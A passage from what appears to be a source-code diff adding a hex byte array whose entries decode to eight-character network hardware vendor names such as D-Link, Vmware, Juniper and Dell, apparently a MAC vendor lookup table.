0x65, 0x6b, 0x74, 0x72, +0x58, 0x79, 0x63, 0x6f, 0x74, 0x65, 0x63, 0x43, +0x44, 0x76, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x61, 0x6e, 0x67, 0x65, 0x73, 0x74, 0x61, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x43, 0x61, 0x73, +0x33, 0x36, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x67, 0x69, 0x6c, 0x65, 0x54, 0x76, 0x00, +0x53, 0x79, 0x6e, 0x63, 0x68, 0x72, 0x6f, 0x6e, +0x49, 0x6e, 0x74, 0x72, 0x61, 0x63, 0x6f, 0x6d, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x44, 0x73, 0x69, +0x4b, 0x6f, 0x77, 0x61, 0x00, 0x00, 0x00, 0x00, +0x44, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x00, 0x00, +0x4c, 0x65, 0x61, 0x64, 0x65, 0x72, 0x43, 0x6f, +0x4e, 0x61, 0x63, 0x49, 0x6d, 0x61, 0x67, 0x65, +0x4a, 0x2d, 0x57, 0x6f, 0x72, 0x6b, 0x73, 0x00, +0x54, 0x61, 0x69, 0x6c, 0x79, 0x6e, 0x43, 0x6f, +0x53, 0x65, 0x63, 0x75, 0x69, 0x43, 0x6f, 0x6d, +0x45, 0x74, 0x79, 0x6d, 0x6f, 0x6e, 0x69, 0x63, +0x50, 0x69, 0x6c, 0x74, 0x6f, 0x66, 0x69, 0x73, +0x56, 0x6d, 0x77, 0x61, 0x72, 0x65, 0x00, 0x00, +0x48, 0x65, 0x75, 0x66, 0x74, 0x53, 0x79, 0x73, +0x43, 0x50, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x48, 0x75, 0x6e, 0x67, 0x43, 0x68, 0x61, 0x6e, +0x50, 0x61, 0x63, 0x69, 0x66, 0x69, 0x63, 0x00, +0x4e, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x61, 0x6c, +0x49, 0x6e, 0x6e, 0x6f, 0x6d, 0x65, 0x64, 0x69, +0x42, 0x61, 0x79, 0x64, 0x65, 0x6c, 0x00, 0x00, +0x53, 0x65, 0x69, 0x77, 0x61, 0x45, 0x6c, 0x65, +0x44, 0x65, 0x6f, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x43, 0x64, 0x73, 0x2d, 0x45, 0x6c, 0x65, 0x63, +0x4e, 0x73, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x53, 0x6d, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, +0x4f, 0x76, 0x65, 0x72, 0x74, 0x75, 0x72, 0x65, +0x43, 0x68, 0x75, 0x6e, 0x67, 0x4e, 0x61, 0x6d, +0x52, 0x63, 0x6f, 0x53, 0x65, 0x63, 0x75, 0x72, +0x53, 0x75, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x45, 0x63, 0x6b, 0x65, 0x6c, 0x6d, 0x61, 0x6e, +0x41, 0x63, 0x71, 0x69, 0x73, 0x54, 0x65, 0x63, +0x46, 0x69, 0x62, 0x72, 0x6f, 0x6c, 0x61, 0x6e, +0x53, 0x6e, 0x65, 0x6c, 0x6c, 0x00, 0x00, 0x00, +0x43, 0x6c, 0x65, 0x61, 0x72, 0x63, 0x75, 0x62, +0x49, 0x6d, 0x61, 0x67, 0x65, 0x63, 0x6f, 0x6d, +0x41, 0x62, 0x73, 0x6f, 0x6c, 0x75, 0x74, 0x65, +0x4a, 0x75, 0x6e, 0x69, 0x70, 0x65, 0x72, 0x4e, +0x4c, 0x75, 0x63, 0x65, 0x6e, 0x74, 0x54, 0x65, +0x4c, 0x6f, 0x63, 0x75, 0x73, 0x00, 0x00, 0x00, +0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x69, 0x61, +0x4e, 0x65, 0x74, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x49, 0x70, 0x6d, 0x65, 0x6e, 0x74, 0x61, 0x6c, +0x4f, 0x70, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x68, +0x4c, 0x79, 0x6e, 0x78, 0x50, 0x68, 0x6f, 0x74, +0x46, 0x6c, 0x65, 0x78, 0x74, 0x72, 0x6f, 0x6e, +0x43, 0x6c, 0x63, 0x73, 0x6f, 0x66, 0x74, 0x00, +0x53, 0x77, 0x69, 0x73, 0x73, 0x76, 0x6f, 0x69, +0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x69, +0x50, 0x75, 0x6c, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x47, 0x72, 0x61, 0x6d, 0x6d, 0x61, 0x72, 0x45, +0x48, 0x6d, 0x73, 0x49, 0x6e, 0x64, 0x75, 0x73, +0x41, 0x6c, 0x65, 0x73, 0x69, 0x73, 0x00, 0x00, +0x47, 0x65, 0x6e, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x45, 0x61, 0x67, 0x6c, 0x65, 0x54, 0x72, 0x61, +0x43, 0x72, 0x6f, 0x6e, 0x6f, 0x73, 0x53, 0x52, +0x44, 0x72, 0x73, 0x54, 0x65, 0x73, 0x74, 0x41, +0x4b, 0x6c, 0x65, 0x69, 0x6e, 0x6b, 0x6e, 0x65, +0x44, 0x61, 0x6e, 0x69, 0x65, 0x6c, 0x43, 0x6f, +0x5a, 0x69, 0x6e, 0x77, 0x65, 0x6c, 0x6c, 0x00, +0x59, 0x6f, 0x74, 0x74, 0x61, 0x4e, 0x65, 0x74, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x69, 0x6e, 0x65, +0x5a, 0x65, 0x6e, 0x6f, 0x63, 0x6f, 0x6d, 0x00, +0x43, 0x65, 0x6c, 0x6f, 0x78, 0x4e, 0x65, 0x74, +0x51, 0x65, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x75, 0x63, 0x69, 0x64, 0x56, 0x6f, 0x69, +0x4b, 0x6f, 0x74, 0x74, 0x00, 0x00, 0x00, 0x00, +0x45, 0x78, 0x74, 0x72, 0x6f, 0x6e, 0x45, 0x6c, +0x48, 0x79, 0x70, 0x65, 0x72, 0x63, 0x68, 0x69, +0x57, 0x79, 0x6c, 0x65, 0x45, 0x6c, 0x65, 0x63, +0x50, 0x72, 0x69, 0x6e, 0x63, 0x65, 0x74, 0x6f, +0x4d, 0x6f, 0x6f, 0x72, 0x65, 0x49, 0x6e, 0x64, +0x43, 0x79, 0x62, 0x65, 0x72, 0x46, 0x6f, 0x6e, +0x4e, 0x6f, 0x72, 0x74, 0x68, 0x65, 0x72, 0x6e, +0x54, 0x6f, 0x70, 0x73, 0x70, 0x69, 0x6e, 0x43, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x70, 0x6f, 0x72, +0x49, 0x6e, 0x6e, 0x6f, 0x73, 0x63, 0x61, 0x6e, +0x4b, 0x6f, 0x72, 0x65, 0x61, 0x43, 0x6f, 0x6d, +0x41, 0x73, 0x62, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4d, 0x65, 0x64, 0x69, 0x73, 0x6f, 0x6e, 0x00, +0x41, 0x73, 0x61, 0x68, 0x69, 0x2d, 0x45, 0x6e, +0x41, 0x63, 0x65, 0x65, 0x78, 0x00, 0x00, 0x00, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x63, 0x6f, 0x6d, +0x49, 0x6e, 0x73, 0x79, 0x73, 0x4d, 0x69, 0x63, +0x41, 0x72, 0x62, 0x6f, 0x72, 0x54, 0x65, 0x63, +0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x6e, +0x41, 0x69, 0x72, 0x76, 0x61, 0x6e, 0x61, 0x00, +0x41, 0x72, 0x65, 0x61, 0x4e, 0x65, 0x74, 0x77, +0x4d, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x00, +0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, +0x52, 0x6f, 0x61, 0x78, 0x42, 0x76, 0x00, 0x00, +0x4b, 0x6f, 0x6e, 0x67, 0x73, 0x62, 0x65, 0x72, +0x4a, 0x75, 0x73, 0x74, 0x65, 0x7a, 0x79, 0x54, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x4e, +0x41, 0x2d, 0x4b, 0x79, 0x75, 0x6e, 0x67, 0x4d, +0x53, 0x6f, 0x72, 0x6f, 0x6e, 0x74, 0x69, 0x00, +0x50, 0x61, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x00, 0x00, +0x46, 0x6c, 0x61, 0x67, 0x61, 0x48, 0x66, 0x00, +0x54, 0x72, 0x69, 0x7a, 0x43, 0x6f, 0x6d, 0x6d, +0x49, 0x2f, 0x46, 0x2d, 0x43, 0x6f, 0x6d, 0x00, +0x56, 0x65, 0x72, 0x79, 0x74, 0x65, 0x63, 0x68, +0x4c, 0x67, 0x49, 0x6e, 0x6e, 0x6f, 0x74, 0x65, +0x48, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x54, 0x65, +0x52, 0x6f, 0x69, 0x73, 0x54, 0x65, 0x63, 0x68, +0x53, 0x75, 0x6d, 0x74, 0x65, 0x6c, 0x43, 0x6f, +0x44, 0x26, 0x4d, 0x48, 0x6f, 0x6c, 0x64, 0x69, +0x50, 0x72, 0x6f, 0x6c, 0x69, 0x6e, 0x6b, 0x4d, +0x54, 0x68, 0x75, 0x6e, 0x64, 0x65, 0x72, 0x52, +0x53, 0x6f, 0x6c, 0x69, 0x6e, 0x65, 0x74, 0x00, +0x4d, 0x65, 0x74, 0x61, 0x76, 0x65, 0x63, 0x74, +0x44, 0x61, 0x70, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x45, 0x70, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, +0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x73, 0x6d, +0x53, 0x70, 0x65, 0x65, 0x64, 0x63, 0x6f, 0x6d, +0x4c, 0x2d, 0x33, 0x4c, 0x69, 0x6e, 0x6b, 0x61, +0x56, 0x69, 0x73, 0x74, 0x61, 0x49, 0x6d, 0x61, +0x41, 0x72, 0x65, 0x73, 0x63, 0x6f, 0x6d, 0x00, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x56, 0x61, +0x41, 0x70, 0x65, 0x78, 0x41, 0x75, 0x74, 0x6f, +0x50, 0x73, 0x69, 0x4e, 0x65, 0x6e, 0x74, 0x65, +0x47, 0x69, 0x46, 0x6f, 0x6e, 0x65, 0x4b, 0x6f, +0x45, 0x6d, 0x70, 0x69, 0x72, 0x69, 0x78, 0x00, +0x54, 0x72, 0x65, 0x6c, 0x6c, 0x69, 0x73, 0x50, +0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x76, 0x4e, +0x4c, 0x69, 0x67, 0x68, 0x74, 0x73, 0x61, 0x6e, +0x52, 0x65, 0x64, 0x4c, 0x69, 0x6f, 0x6e, 0x43, +0x52, 0x65, 0x6e, 0x69, 0x73, 0x68, 0x61, 0x77, +0x45, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x00, +0x4e, 0x65, 0x74, 0x72, 0x61, 0x6b, 0x65, 0x41, +0x54, 0x75, 0x72, 0x62, 0x6f, 0x77, 0x61, 0x76, +0x55, 0x6e, 0x69, 0x63, 0x65, 0x73, 0x73, 0x4e, +0x52, 0x65, 0x64, 0x6e, 0x69, 0x78, 0x00, 0x00, +0x42, 0x6c, 0x75, 0x65, 0x52, 0x69, 0x64, 0x67, +0x4d, 0x6f, 0x73, 0x61, 0x69, 0x63, 0x00, 0x00, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x69, 0x6b, 0x75, +0x56, 0x61, 0x6e, 0x64, 0x65, 0x72, 0x62, 0x69, +0x41, 0x64, 0x6f, 0x69, 0x72, 0x44, 0x69, 0x67, +0x53, 0x61, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, +0x56, 0x72, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x52, 0x00, 0x00, +0x57, 0x65, 0x62, 0x79, 0x6e, 0x00, 0x00, 0x00, +0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x42, 0x61, +0x47, 0x65, 0x6f, 0x73, 0x70, 0x61, 0x63, 0x65, +0x59, 0x6f, 0x75, 0x6e, 0x67, 0x43, 0x68, 0x61, +0x41, 0x6e, 0x61, 0x6c, 0x6f, 0x67, 0x44, 0x65, +0x52, 0x65, 0x61, 0x6c, 0x54, 0x69, 0x6d, 0x65, +0x54, 0x6f, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x70, 0x6f, 0x70, 0x74, 0x69, 0x63, 0x61, +0x53, 0x68, 0x61, 0x72, 0x65, 0x67, 0x61, 0x74, +0x53, 0x63, 0x68, 0x65, 0x6e, 0x63, 0x6b, 0x50, +0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x6c, 0x69, +0x54, 0x72, 0x61, 0x66, 0x69, 0x63, 0x6f, 0x6e, +0x53, 0x6e, 0x73, 0x53, 0x6f, 0x6c, 0x75, 0x74, +0x54, 0x6f, 0x73, 0x68, 0x69, 0x62, 0x61, 0x54, +0x4f, 0x74, 0x61, 0x6e, 0x69, 0x6b, 0x65, 0x69, +0x43, 0x69, 0x72, 0x6b, 0x69, 0x74, 0x65, 0x63, +0x42, 0x61, 0x6b, 0x65, 0x72, 0x48, 0x75, 0x67, +0x40, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, +0x49, 0x6e, 0x6e, 0x63, 0x6f, 0x6d, 0x49, 0x6e, +0x52, 0x61, 0x70, 0x69, 0x64, 0x77, 0x61, 0x6e, +0x4f, 0x6d, 0x6e, 0x69, 0x44, 0x69, 0x72, 0x65, +0x41, 0x74, 0x2d, 0x53, 0x6b, 0x79, 0x53, 0x61, +0x43, 0x72, 0x6f, 0x73, 0x73, 0x70, 0x6f, 0x72, +0x42, 0x6c, 0x75, 0x65, 0x32, 0x73, 0x70, 0x61, +0x4d, 0x65, 0x6c, 0x63, 0x6f, 0x49, 0x6e, 0x64, +0x57, 0x61, 0x76, 0x65, 0x37, 0x4f, 0x70, 0x74, +0x49, 0x67, 0x79, 0x73, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x61, 0x72, 0x61, 0x64, 0x4e, 0x65, 0x74, +0x41, 0x62, 0x65, 0x6f, 0x6e, 0x61, 0x4e, 0x65, +0x5a, 0x65, 0x75, 0x73, 0x57, 0x69, 0x72, 0x65, +0x41, 0x63, 0x63, 0x75, 0x73, 0x79, 0x73, 0x00, +0x4b, 0x61, 0x77, 0x61, 0x73, 0x61, 0x6b, 0x69, +0x50, 0x72, 0x69, 0x73, 0x6d, 0x48, 0x6f, 0x6c, +0x4b, 0x69, 0x6d, 0x6f, 0x74, 0x6f, 0x45, 0x6c, +0x54, 0x65, 0x6c, 0x4e, 0x65, 0x74, 0x00, 0x00, +0x52, 0x65, 0x64, 0x73, 0x77, 0x69, 0x74, 0x63, +0x44, 0x69, 0x67, 0x69, 0x70, 0x6f, 0x77, 0x65, +0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, +0x5a, 0x65, 0x74, 0x61, 0x72, 0x69, 0x00, 0x00, +0x4e, 0x6f, 0x74, 0x65, 0x62, 0x6f, 0x6f, 0x6b, +0x48, 0x6f, 0x73, 0x68, 0x69, 0x6e, 0x6f, 0x4d, +0x4d, 0x69, 0x70, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x4d, 0x61, 0x78, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x43, 0x6f, +0x53, 0x65, 0x72, 0x69, 0x61, 0x6c, 0x53, 0x79, +0x48, 0x69, 0x6e, 0x6f, 0x78, 0x00, 0x00, 0x00, +0x43, 0x68, 0x75, 0x6e, 0x67, 0x46, 0x75, 0x43, +0x4d, 0x67, 0x65, 0x55, 0x70, 0x73, 0x46, 0x72, +0x47, 0x65, 0x6e, 0x74, 0x6e, 0x65, 0x72, 0x43, +0x4d, 0x77, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x55, 0x6e, 0x69, 0x77, 0x69, 0x64, 0x65, 0x54, +0x49, 0x62, 0x6d, 0x52, 0x69, 0x73, 0x63, 0x36, +0x49, 0x6e, 0x74, 0x72, 0x61, 0x73, 0x65, 0x72, +0x42, 0x69, 0x76, 0x69, 0x6f, 0x4e, 0x65, 0x74, +0x54, 0x6f, 0x75, 0x63, 0x68, 0x73, 0x74, 0x61, +0x41, 0x72, 0x69, 0x73, 0x74, 0x6f, 0x73, 0x4c, +0x50, 0x69, 0x76, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x41, 0x64, 0x74, 0x72, 0x61, 0x6e, 0x7a, 0x53, +0x43, 0x61, 0x6c, 0x69, 0x78, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x73, 0x63, 0x6f, 0x45, 0x6e, 0x67, +0x43, 0x72, 0x6f, 0x73, 0x73, 0x4d, 0x61, 0x74, +0x47, 0x74, 0x65, 0x41, 0x69, 0x72, 0x66, 0x6f, +0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x61, 0x69, +0x4a, 0x65, 0x64, 0x61, 0x69, 0x42, 0x72, 0x6f, +0x54, 0x6f, 0x70, 0x74, 0x72, 0x65, 0x6e, 0x64, +0x53, 0x75, 0x6e, 0x67, 0x6a, 0x69, 0x6e, 0x43, +0x4e, 0x65, 0x77, 0x74, 0x65, 0x63, 0x00, 0x00, +0x44, 0x75, 0x72, 0x61, 0x4d, 0x69, 0x63, 0x72, +0x41, 0x72, 0x63, 0x74, 0x75, 0x72, 0x75, 0x73, +0x49, 0x6e, 0x74, 0x72, 0x69, 0x6e, 0x73, 0x79, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x77, 0x61, 0x76, +0x4f, 0x70, 0x74, 0x68, 0x6f, 0x73, 0x00, 0x00, +0x45, 0x76, 0x65, 0x72, 0x65, 0x78, 0x43, 0x6f, +0x57, 0x68, 0x69, 0x74, 0x65, 0x52, 0x6f, 0x63, +0x49, 0x74, 0x63, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x47, 0x65, 0x6e, 0x65, 0x74, 0x65, 0x6c, 0x00, +0x53, 0x6f, 0x6e, 0x6f, 0x43, 0x6f, 0x6d, 0x70, +0x4e, 0x65, 0x69, 0x78, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x69, 0x73, 0x65, 0x69, 0x45, 0x6c, +0x45, 0x74, 0x72, 0x61, 0x6c, 0x69, 0x53, 0x41, +0x53, 0x65, 0x65, 0x64, 0x73, 0x77, 0x61, 0x72, +0x33, 0x6d, 0x44, 0x65, 0x75, 0x74, 0x73, 0x63, +0x48, 0x6f, 0x6e, 0x65, 0x79, 0x77, 0x65, 0x6c, +0x41, 0x6c, 0x65, 0x78, 0x6f, 0x6e, 0x00, 0x00, +0x49, 0x6e, 0x76, 0x69, 0x63, 0x74, 0x61, 0x4e, +0x53, 0x65, 0x6e, 0x63, 0x6f, 0x72, 0x65, 0x00, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x4e, 0x65, 0x74, +0x50, 0x72, 0x6f, 0x2d, 0x4e, 0x65, 0x74, 0x73, +0x54, 0x69, 0x62, 0x75, 0x72, 0x6f, 0x6e, 0x4e, +0x41, 0x73, 0x70, 0x65, 0x6e, 0x4e, 0x65, 0x74, +0x57, 0x69, 0x6e, 0x70, 0x72, 0x65, 0x73, 0x61, +0x59, 0x69, 0x70, 0x65, 0x65, 0x00, 0x00, 0x00, +0x54, 0x61, 0x63, 0x74, 0x65, 0x6c, 0x00, 0x00, +0x4d, 0x61, 0x72, 0x6b, 0x65, 0x74, 0x43, 0x65, +0x48, 0x65, 0x6c, 0x6d, 0x75, 0x74, 0x46, 0x69, +0x45, 0x61, 0x6c, 0x41, 0x70, 0x65, 0x6c, 0x64, +0x53, 0x74, 0x72, 0x69, 0x78, 0x00, 0x00, 0x00, +0x44, 0x65, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x6c, 0x61, 0x63, 0x68, 0x69, 0x74, +0x50, 0x68, 0x6f, 0x74, 0x75, 0x72, 0x69, 0x73, +0x4e, 0x61, 0x64, 0x65, 0x78, 0x00, 0x00, 0x00, +0x4e, 0x69, 0x61, 0x48, 0x6f, 0x6d, 0x65, 0x54, +0x4d, 0x62, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x48, 0x75, 0x6d, 0x61, 0x6e, 0x54, 0x65, 0x63, +0x46, 0x6f, 0x73, 0x74, 0x65, 0x78, 0x00, 0x00, +0x53, 0x75, 0x6e, 0x6e, 0x79, 0x47, 0x69, 0x6b, +0x52, 0x6f, 0x76, 0x69, 0x6e, 0x67, 0x4e, 0x65, +0x54, 0x72, 0x69, 0x70, 0x70, 0x4c, 0x69, 0x74, +0x56, 0x69, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x64, +0x44, 0x61, 0x74, 0x61, 0x73, 0x6f, 0x75, 0x6e, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x63, 0x6f, +0x53, 0x79, 0x73, 0x6d, 0x65, 0x78, 0x00, 0x00, +0x52, 0x6f, 0x62, 0x69, 0x6e, 0x73, 0x6f, 0x6e, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x70, 0x72, 0x69, +0x44, 0x65, 0x6c, 0x74, 0x61, 0x45, 0x6c, 0x65, +0x4b, 0x6f, 0x72, 0x65, 0x61, 0x44, 0x61, 0x74, +0x55, 0x70, 0x70, 0x6f, 0x6e, 0x65, 0x74, 0x74, +0x53, 0x6f, 0x66, 0x74, 0x69, 0x6e, 0x67, 0x00, +0x4e, 0x65, 0x74, 0x65, 0x7a, 0x7a, 0x61, 0x00, +0x54, 0x6b, 0x68, 0x53, 0x65, 0x63, 0x75, 0x72, +0x42, 0x61, 0x6e, 0x64, 0x65, 0x72, 0x61, 0x63, +0x4e, 0x6f, 0x76, 0x72, 0x61, 0x54, 0x65, 0x63, +0x53, 0x69, 0x63, 0x6b, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x6f, 0x6e, 0x61, 0x6d, 0x69, 0x00, 0x00, +0x4a, 0x6d, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x6f, 0x70, 0x6c, 0x69, 0x6e, 0x6b, 0x43, +0x54, 0x61, 0x6b, 0x61, 0x73, 0x61, 0x67, 0x6f, +0x57, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x44, 0x69, 0x67, 0x65, 0x6f, 0x00, 0x00, 0x00, +0x43, 0x61, 0x72, 0x64, 0x41, 0x63, 0x63, 0x65, +0x47, 0x6f, 0x65, 0x70, 0x65, 0x6c, 0x45, 0x6c, +0x43, 0x6f, 0x6e, 0x76, 0x65, 0x64, 0x69, 0x61, +0x42, 0x72, 0x61, 0x76, 0x61, 0x72, 0x61, 0x43, +0x42, 0x69, 0x61, 0x63, 0x6f, 0x72, 0x65, 0x00, +0x4e, 0x65, 0x74, 0x6e, 0x65, 0x61, 0x72, 0x75, +0x5a, 0x61, 0x72, 0x64, 0x63, 0x6f, 0x6d, 0x00, +0x4f, 0x6d, 0x6e, 0x69, 0x74, 0x72, 0x6f, 0x6e, +0x54, 0x65, 0x6c, 0x77, 0x61, 0x79, 0x73, 0x43, +0x59, 0x6c, 0x65, 0x7a, 0x54, 0x65, 0x63, 0x68, +0x4e, 0x65, 0x75, 0x72, 0x6f, 0x6e, 0x6e, 0x65, +0x41, 0x69, 0x72, 0x72, 0x75, 0x6e, 0x6e, 0x65, +0x53, 0x65, 0x70, 0x61, 0x74, 0x6f, 0x6e, 0x00, +0x48, 0x69, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x6d, 0x6f, 0x6e, 0x69, +0x45, 0x75, 0x72, 0x61, 0x63, 0x6f, 0x6d, 0x43, +0x50, 0x74, 0x49, 0x6e, 0x6f, 0x76, 0x61, 0x63, +0x49, 0x6e, 0x74, 0x72, 0x75, 0x76, 0x65, 0x72, +0x46, 0x6c, 0x65, 0x78, 0x75, 0x73, 0x43, 0x6f, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x6c, 0x69, 0x61, +0x45, 0x6e, 0x73, 0x75, 0x72, 0x65, 0x54, 0x65, +0x41, 0x64, 0x76, 0x65, 0x6e, 0x74, 0x4e, 0x65, +0x52, 0x44, 0x43, 0x65, 0x6e, 0x74, 0x65, 0x72, +0x45, 0x67, 0x6e, 0x69, 0x74, 0x65, 0x00, 0x00, +0x56, 0x69, 0x64, 0x61, 0x44, 0x65, 0x73, 0x69, +0x45, 0x54, 0x65, 0x6c, 0x00, 0x00, 0x00, 0x00, +0x41, 0x76, 0x74, 0x41, 0x75, 0x64, 0x69, 0x6f, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x6d, 0x6f, 0x64, +0x50, 0x65, 0x74, 0x61, 0x72, 0x64, 0x73, 0x00, +0x55, 0x6e, 0x69, 0x71, 0x61, 0x00, 0x00, 0x00, +0x4b, 0x75, 0x6f, 0x6b, 0x6f, 0x61, 0x4e, 0x65, +0x4d, 0x78, 0x49, 0x6d, 0x61, 0x67, 0x69, 0x6e, +0x43, 0x65, 0x6c, 0x73, 0x69, 0x61, 0x6e, 0x54, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x74, 0x75, 0x6e, +0x42, 0x69, 0x74, 0x72, 0x61, 0x6e, 0x00, 0x00, +0x49, 0x6e, 0x6e, 0x6f, 0x77, 0x65, 0x6c, 0x6c, +0x50, 0x69, 0x6e, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x41, 0x72, 0x74, 0x69, 0x73, 0x74, 0x69, 0x63, +0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x69, 0x6f, +0x4b, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x56, 0x74, 0x4d, 0x69, 0x6c, 0x74, 0x6f, 0x70, +0x57, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x00, 0x00, +0x4b, 0x62, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x48, 0x69, 0x6d, 0x61, 0x63, 0x68, 0x61, 0x6c, +0x58, 0x61, 0x6c, 0x74, 0x65, 0x64, 0x4e, 0x65, +0x43, 0x6f, 0x6d, 0x74, 0x65, 0x63, 0x68, 0x45, +0x53, 0x6f, 0x6e, 0x69, 0x63, 0x77, 0x61, 0x6c, +0x4c, 0x69, 0x6e, 0x78, 0x74, 0x65, 0x6b, 0x00, +0x44, 0x69, 0x61, 0x67, 0x72, 0x61, 0x70, 0x68, +0x56, 0x6f, 0x72, 0x6e, 0x65, 0x49, 0x6e, 0x64, +0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x50, 0x68, +0x4e, 0x69, 0x72, 0x2d, 0x4f, 0x72, 0x49, 0x73, +0x54, 0x65, 0x6c, 0x65, 0x6d, 0x00, 0x00, 0x00, +0x42, 0x61, 0x6e, 0x64, 0x73, 0x70, 0x65, 0x65, +0x41, 0x35, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x57, 0x65, 0x73, 0x74, 0x77, 0x61, 0x76, 0x65, +0x41, 0x74, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4d, 0x61, 0x63, 0x72, 0x6f, 0x6c, 0x69, 0x6e, +0x42, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x42, 0x61, 0x75, 0x6d, 0x65, 0x72, 0x4f, 0x70, +0x41, 0x63, 0x63, 0x65, 0x6c, 0x6c, 0x61, 0x54, +0x55, 0x6e, 0x69, 0x74, 0x65, 0x64, 0x49, 0x6e, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x6d, 0x61, 0x74, +0x53, 0x63, 0x68, 0x69, 0x6e, 0x64, 0x6c, 0x65, +0x50, 0x69, 0x6f, 0x6c, 0x69, 0x6e, 0x6b, 0x00, +0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x69, 0x54, 0x65, +0x4c, 0x65, 0x73, 0x73, 0x77, 0x69, 0x72, 0x65, +0x52, 0x66, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x69, 0x63, 0x61, +0x41, 0x6d, 0x65, 0x72, 0x69, 0x63, 0x61, 0x6e, +0x4a, 0x6f, 0x74, 0x72, 0x6f, 0x6e, 0x45, 0x6c, +0x4a, 0x6d, 0x69, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x4c, 0x65, 0x61, 0x66, 0x49, 0x6d, 0x61, 0x67, +0x44, 0x61, 0x74, 0x65, 0x6e, 0x6f, 0x00, 0x00, +0x54, 0x68, 0x61, 0x6c, 0x65, 0x73, 0x41, 0x76, +0x45, 0x6c, 0x67, 0x61, 0x72, 0x45, 0x6c, 0x65, +0x54, 0x61, 0x68, 0x6f, 0x65, 0x4e, 0x65, 0x74, +0x54, 0x75, 0x6e, 0x64, 0x72, 0x61, 0x53, 0x65, +0x41, 0x6c, 0x70, 0x68, 0x61, 0x54, 0x65, 0x6c, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x63, 0x74, +0x44, 0x69, 0x61, 0x6d, 0x6f, 0x6e, 0x64, 0x00, +0x4d, 0x61, 0x70, 0x6c, 0x65, 